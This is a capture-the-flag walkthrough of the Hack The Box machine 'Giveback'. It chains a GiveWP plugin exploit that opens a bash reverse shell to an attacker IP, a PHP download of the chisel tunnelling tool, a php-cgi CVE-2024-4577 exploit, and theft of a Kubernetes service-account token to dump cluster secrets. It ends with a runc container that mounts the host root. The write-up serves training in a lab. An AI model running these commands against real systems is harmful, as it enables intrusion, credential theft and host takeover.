Giveback is a medium rated Linux machine on Hack The Box. It demonstrates how vulnerabilities in a WordPress application can lead to container compromise and how weak isolation and secret management within a Kubernetes cluster can be exploited for lateral movement and privilege escalation. The challenge teaches key concepts in container pivoting, Kubernetes API abuse, and privilege escalation through misconfigured service permissions.
We start things off with an nmap scan of the machine.
nmap -sVC --min-rate 1000 10.10.11.94 -p-
Nmap scan report for giveback.htb (10.10.11.94)
Host is up (0.15s latency).
Not shown: 65517 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 66:f8:9c:58:f4:b8:59:bd:cd:ec:92:24:c3:97:8e:9e (ECDSA)
|_ 256 96:31:8a:82:1a:65:9f:0a:a2:6c:ff:4d:44:7c:d3:94 (ED25519)
80/tcp open http nginx 1.28.0
| http-robots.txt: 1 disallowed entry
|_/wp-admin/
|_http-title: GIVING BACK IS WHAT MATTERS MOST – OBVI
|_http-generator: WordPress 6.8.1
|_http-server-header: nginx/1.28.0
6443/tcp filtered sun-sr-https
10250/tcp filtered unknown
30686/tcp open http Golang net/http server
|_http-title: Site doesn't have a title (application/json).
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 200 OK
| Content-Type: application/json
| X-Content-Type-Options: nosniff
| X-Load-Balancing-Endpoint-Weight: 1
| Date: Sun, 02 Nov 2025 20:38:15 GMT
| Content-Length: 127
| "service": {
| "namespace": "default",
| "name": "wp-nginx-service"
| "localEndpoints": 1,
| "serviceProxyHealthy": true
| GenericLines, Help, LPDString, RTSPRequest, SSLSessionReq:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 200 OK
| Content-Type: application/json
| X-Content-Type-Options: nosniff
| X-Load-Balancing-Endpoint-Weight: 1
| Date: Sun, 02 Nov 2025 20:37:52 GMT
| Content-Length: 127
| "service": {
| "namespace": "default",
| "name": "wp-nginx-service"
| "localEndpoints": 1,
| "serviceProxyHealthy": true
| HTTPOptions:
| HTTP/1.0 200 OK
| Content-Type: application/json
| X-Content-Type-Options: nosniff
| X-Load-Balancing-Endpoint-Weight: 1
| Date: Sun, 02 Nov 2025 20:37:54 GMT
| Content-Length: 127
| "service": {
| "namespace": "default",
| "name": "wp-nginx-service"
| "localEndpoints": 1,
|_ "serviceProxyHealthy": true
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port30686-TCP:V=7.95%I=7%D=11/3%Time=6907C11F%P=x86_64-pc-linux-gnu%r(G
SF:enericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20
SF:text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\
SF:x20Request")%r(GetRequest,132,"HTTP/1\.0\x20200\x20OK\r\nContent-Type:\
SF:x20application/json\r\nX-Content-Type-Options:\x20nosniff\r\nX-Load-Bal
SF:ancing-Endpoint-Weight:\x201\r\nDate:\x20Sun,\x2002\x20Nov\x202025\x202
SF:0:37:52\x20GMT\r\nContent-Length:\x20127\r\n\r\n{\n\t\"service\":\x20{\
SF:n\t\t\"namespace\":\x20\"default\",\n\t\t\"name\":\x20\"wp-nginx-servic
SF:e\"\n\t},\n\t\"localEndpoints\":\x201,\n\t\"serviceProxyHealthy\":\x20t
SF:rue\n}")%r(HTTPOptions,132,"HTTP/1\.0\x20200\x20OK\r\nContent-Type:\x20
SF:application/json\r\nX-Content-Type-Options:\x20nosniff\r\nX-Load-Balanc
SF:ing-Endpoint-Weight:\x201\r\nDate:\x20Sun,\x2002\x20Nov\x202025\x2020:3
SF:7:54\x20GMT\r\nContent-Length:\x20127\r\n\r\n{\n\t\"service\":\x20{\n\t
SF:\t\"namespace\":\x20\"default\",\n\t\t\"name\":\x20\"wp-nginx-service\"
SF:\n\t},\n\t\"localEndpoints\":\x201,\n\t\"serviceProxyHealthy\":\x20true
SF:\n}")%r(RTSPRequest,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-T
SF:ype:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400
SF:\x20Bad\x20Request")%r(Help,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nC
SF:ontent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\
SF:n\r\n400\x20Bad\x20Request")%r(SSLSessionReq,67,"HTTP/1\.1\x20400\x20Ba
SF:d\x20Request\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnec
SF:tion:\x20close\r\n\r\n400\x20Bad\x20Request")%r(FourOhFourRequest,132,"
SF:HTTP/1\.0\x20200\x20OK\r\nContent-Type:\x20application/json\r\nX-Conten
SF:t-Type-Options:\x20nosniff\r\nX-Load-Balancing-Endpoint-Weight:\x201\r\
SF:nDate:\x20Sun,\x2002\x20Nov\x202025\x2020:38:15\x20GMT\r\nContent-Lengt
SF:h:\x20127\r\n\r\n{\n\t\"service\":\x20{\n\t\t\"namespace\":\x20\"defaul
SF:t\",\n\t\t\"name\":\x20\"wp-nginx-service\"\n\t},\n\t\"localEndpoints\"
SF::\x201,\n\t\"serviceProxyHealthy\":\x20true\n}")%r(LPDString,67,"HTTP/1
SF:\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charset
SF:=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 122.74 seconds
This scan reveals 2 open http services and an ssh service running on the machine.
On visiting the website, we come across a donation site developed using WordPress.
Be sure to add
giveback.htbto/etc/hosts.
Browsing through the site, we come across a post by Babywyrm. The post also has a thought by admin_person that gives an idea that Kubernetes is being used (EKS - Amazon Elastic Kubernetes Service).
Exploring further, on the Donation Station tab, we come across a link for donation.
This takes us to a donation form.
Looking at the source code reveals that the site uses the GiveWP WordPress plugin - 3.14.0. A quick web search reveals that this version is vulnerable to CVE-2024-5932. Searching for its exploit, we come across this exploit by EQSTLab.
To use the exploit we,
git clone https://github.com/EQSTLab/CVE-2024-5932.git
cd CVE-2024-5932
python3 -m venv .venv && source .venv/bin/activate
pip install -r requirements.txt
netcat listener.
nc -lvnp 4444
python3 CVE-2024-5932-rce.py -u http://giveback.htb/donations/the-things-we-need/ -c "bash -c 'bash -i >& /dev/tcp/10.10.16.3/4444 0>&1'"
This successfully grants us a shell.
Before moving any further, we need to perform reconnaisance. To gather valuable information, we execute commands such as,
whoami
ls /
env
The env command particularly, arms us with a lot of valuable information. Some of the important variables it displays are listed below.
BETA_VINO_WP_MARIADB_SERVICE_PORT=3306
BETA_VINO_WP_MARIADB_PORT_3306_TCP=tcp://10.43.147.82:3306
WordPress_DATABASE_PORT_NUMBER=3306
WordPress_DATABASE_NAME=bitnami_WordPress
LEGACY_INTRANET_SERVICE_SERVICE_PORT_HTTP=5000
LEGACY_INTRANET_SERVICE_SERVICE_PORT=5000
LEGACY_INTRANET_SERVICE_PORT_5000_TCP_ADDR=10.43.2.241
KUBERNETES_SERVICE_PORT_HTTPS=443
WordPress_BASE_DIR=/opt/bitnami/WordPress
LEGACY_INTRANET_SERVICE_PORT=tcp://10.43.2.241:5000
Apparently, this is a Kubernetes container. The most important thing to note here is the Legacy Intranet Service, which runs on another node at address http://10.43.2.241:5000.
Running
linpeas.shalso highlights the Legacy Intranet Service as it is known to be vulnerable.
Another, interesting directory we come across is /secrets which contains important passwords.
ls /secrets
mariadb-password
mariadb-root-password
WordPress-password
These will come in handy later on.
For now, we make a note of the mariadb-password.
cat /secrets/mariadb-password
The node with Legacy Intranet Service can only be accessed through the container we just exploited. The container is a WordPress node and does not seem to have many commands. It lacks both curl and wget.
To pivot, we need to use chisel which needs to be downloaded on the container. We can use PHP to do this.
python3 -m http.server
php -r 'file_put_contents("chisel", file_get_contents("http://10.10.16.3:8000/chisel"));'
chisel server --reverse --socks5 -p 6000
Ensure that
proxychainsis installed and configured to use port 1080.
chmod +x ./chisel
./chisel client 10.10.16.3:6000 R:socks &
On getting a successful connection, we can now use proxychains to access the machine's internal network.
Let's now take a look at the website of the node with Legacy Intranet Service (from the attack machine).
proxychains4 curl http://10.43.2.241:5000
Alternatively, we can also configure our browser to use Socks5 proxy at address 127.0.0.1:1080 and get the following page at http://10.43.2.241:5000.
From this page, it is clear that the prime focus here is on insecure legacy php-cgi. Searching the internet for a related vulnerability we come across CVE-2024-4577 through which command execution can be achieved on the server.
The exploit to be used for the same can be found here.
The exploit can be used with proxychains as follows.
proxychains4 python3 CVE-2024-4577.py --target http://10.43.2.241:5000/cgi-bin/php-cgi
We start with reconnaisance on this container.
cmd: hostname
[START]
legacy-intranet-cms-6f7bf5db84-b4z8d
IceMaster - Rocks
[END]
All the information gathered till now indicates that it is a Kubernetes K8s node and the box runs Kubernetes K8s API (Try looking at the requests made by the main website http://giveback.htb through BurpSuite for the initial clue). The WordPress node did not have any service account token but checking this container does reveal the token.
cmd: cat /var/run/secrets/kubernetes.io/serviceaccount/token
[START]
eyJhbGciOiJSUzI1NiIsImtpZCI6Inp3THEyYUhkb19sV3VBcGFfdTBQa1c1S041TkNiRXpYRS11S0JqMlJYWjAifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiLCJrM3MiXSwiZXhwIjoxNzkzNjU0MTE2LCJpYXQiOjE3NjIxMTgxMTYsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwianRpIjoiYWQzY2UzYTItMTdlMS00ZmRhLWE2YjAtZDVmOGYyZTM2OTUzIiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJkZWZhdWx0Iiwibm9kZSI6eyJuYW1lIjoiZ2l2ZWJhY2suaHRiIiwidWlkIjoiMTJhOGE5Y2YtYzM1Yi00MWYzLWIzNWEtNDJjMjYyZTQzMDQ2In0sInBvZCI6eyJuYW1lIjoibGVnYWN5LWludHJhbmV0LWNtcy02ZjdiZjVkYjg0LXpjeDg4IiwidWlkIjoiNjEyYmJmZjMtOTQ3NS00ZGVmLTg2MjQtNTI1ODI4MzAwNDAzIn0sInNlcnZpY2VhY2NvdW50Ijp7Im5hbWUiOiJzZWNyZXQtcmVhZGVyLXNhIiwidWlkIjoiNzJjM2YwYTUtOWIwOC00MzhhLWEzMDctYjYwODc0NjM1YTlhIn0sIndhcm5hZnRlciI6MTc2MjEyMTcyM30sIm5iZiI6MTc2MjExODExNiwic3ViIjoic3lzdGVtOnNlcnZpY2VhY2NvdW50OmRlZmF1bHQ6c2VjcmV0LXJlYWRlci1zYSJ9.sfloPv6YgGyXw_L01Fx3jjlif9IqliX-TAjyRBZ2pv7xC1qszV2tJShr9XBfD4TqDTHQobzD24gXrqygu9YHAg3qepd6Hfy_Dd9QTSsqF1R2a1MswGxi-h9YAtfBrgT4CFyw6Ggsngsb6UQ8W4PhO3wi6EzQdtOQruBmEWTgFfo8l-FDa_NM9AnvP0PxMSqC0pUv5_shjISnGyuuTrbto_t-nwnLLZMBRPo5HFsBjMDQJ0YoToDqOr7UYGlmdKTsRxOD9Lavz-fK6LSo64gZQCt_vO85NRNA-eE2BiSRTpCPi9_0IjYOGTQg_AsQXAaNq9ov6DReXXoso7nJTHvcXA
IceMaster - Rocks
[END]
Now, we have the Access Token for accessing the API. The Kubernetes documentation can be referred for accessing the API from the pod and fetching the secrets through the API.
Finally, we fetch the secrets.
cmd: curl -k -H "Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)" https://kubernetes.default.svc/api/v1/namespaces/default/secrets
[START]...
{ "f:data": { ".": {}, "f:MASTERPASS": {} }, "f:metadata": { "f:ownerReferences": { ".": {}, "k:{\"uid\":\"303b701d-64f0-48e4-9201-28ef74e18aaa\"}": {} } }, "f:type": {} } } ] }, "data": { "MASTERPASS": "MmM0UUEzNExlTkpYdFFxSUtPaExVdjZRWFU0Y01E" }, "type": "Opaque" }, { "metadata": { "name": "user-secret-margotrobbie", "namespace": "default",
...
IceMaster - Rocks
[END]
The main focus is the MASTERPASS. This is base64 encoded. We decode it, and try to ssh as babywyrm.
sshpass -p $(echo "MmM0UUEzNExlTkpYdFFxSUtPaExVdjZRWFU0Y01E" | base64 -d) ssh [email protected]
And Voila! We get in.
The user flag can be read as follows.
cat /home/babywyrm
As babywyrm, we find that we can only run /opt/debug with sudo privilege.
babywyrm@giveback:~$ sudo -l
Matching Defaults entries for babywyrm on localhost:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty, timestamp_timeout=0, timestamp_timeout=20
User babywyrm may run the following commands on localhost:
(ALL) NOPASSWD: !ALL
(ALL) /opt/debug
Trying to run the file, we are prompted with a requirement for administrative password.
*Remember the /secrets directory we found on the first container. It turns out, the administrative password can be obtained by base64 encoding the mariadb-password.
echo -n "<pass>" | base64
Now we can execute the command using this encoded string as the administrative password.
sudo /opt/debug -h
Apparently, this command can be used to run a container using runc. To read the root flag, we will create a container on which we will be root and then use it to access the filesystem of the host unrestrictively.
mkdir evil-container
cd evil-container
config.json file.
cat > config.json << "EOF"
{
"ociVersion": "1.0.2",
"process": {
"terminal": true,
"user": {
"uid": 0,
"gid": 0
},
"args": [
"/bin/sh"
],
"env": [
"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
],
"cwd": "/",
"capabilities": {
"bounding": ["CAP_AUDIT_WRITE","CAP_KILL","CAP_NET_BIND_SERVICE","CAP_SYS_CHROOT","CAP_SETFCAP","CAP_SETPCAP","CAP_SETUID","CAP_SETGID","CAP_DAC_OVERRIDE","CAP_FOWNER","CAP_CHOWN"],
"effective": ["CAP_AUDIT_WRITE","CAP_KILL","CAP_NET_BIND_SERVICE","CAP_SYS_CHROOT","CAP_SETFCAP","CAP_SETPCAP","CAP_SETUID","CAP_SETGID","CAP_DAC_OVERRIDE","CAP_FOWNER","CAP_CHOWN"],
"inheritable": ["CAP_AUDIT_WRITE","CAP_KILL","CAP_NET_BIND_SERVICE","CAP_SYS_CHROOT","CAP_SETFCAP","CAP_SETPCAP","CAP_SETUID","CAP_SETGID","CAP_DAC_OVERRIDE","CAP_FOWNER","CAP_CHOWN"],
"permitted": ["CAP_AUDIT_WRITE","CAP_KILL","CAP_NET_BIND_SERVICE","CAP_SYS_CHROOT","CAP_SETFCAP","CAP_SETPCAP","CAP_SETUID","CAP_SETGID","CAP_DAC_OVERRIDE","CAP_FOWNER","CAP_CHOWN"]
},
"rlimits": [
{
"type": "RLIMIT_NOFILE",
"hard": 1024,
"soft": 1024
}
],
"noNewPrivileges": false
},
"root": {
"path": "rootfs",
"readonly": false
},
"hostname": "runc",
"mounts": [
{
"destination": "/proc",
"type": "proc",
"source": "proc"
},
{
"destination": "/dev",
"type": "tmpfs",
"source": "tmpfs",
"options": ["nosuid","strictatime","mode=755","size=65536k"]
},
{
"destination": "/dev/pts",
"type": "devpts",
"source": "devpts",
"options": ["nosuid","noexec","newinstance","ptmxmode=0666","mode=0620"]
},
{
"destination": "/dev/shm",
"type": "tmpfs",
"source": "shm",
"options": ["nosuid","noexec","nodev","mode=1777","size=65536k"]
},
{
"destination": "/host",
"type": "bind",
"source": "/",
"options": ["rbind","rw"]
}
],
"linux": {
"namespaces": [
{
"type": "pid"
},
{
"type": "mount"
},
{
"type": "uts"
}
]
}
}
EOF
rootfs
mkdir -p rootfs rootfs/lib rootfs/lib64 rootfs/lib/x86_64-linux-gnu rootfs/bin rootfs/usr
# Copy sh and bash
cp /bin/sh rootfs/bin/
cp /bin/bash rootfs/bin/ 2>/dev/null || true
# Copy all required libraries
ldd /bin/sh | awk '/=>/ {print $3}' | xargs -I {} cp {} rootfs/lib/ 2>/dev/null || true
ldd /bin/sh | awk '/=>/ {print $3}' | grep -o '/lib[^ ]*' | xargs -I {} mkdir -p rootfs/$(dirname {}) 2>/dev/null || true
ldd /bin/sh | awk '/=>/ {print $3}' | xargs -I {} cp --parents {} rootfs/ 2>/dev/null || true
# Also copy the dynamic linker
cp /lib64/ld-linux-x86-64.so.* rootfs/lib64/ 2>/dev/null || true
cp /lib/x86_64-linux-gnu/ld-linux-x86-64.so.* rootfs/lib/x86_64-linux-gnu/ 2>/dev/null || true
sudo privileges.
sudo /opt/debug run evil_container
This gives us a shell in the evil container as root.
Finally, the root flag can be read through this shell using the command:
/host/bin/cat /host/root/root.txt
This concludes the Giveback machine.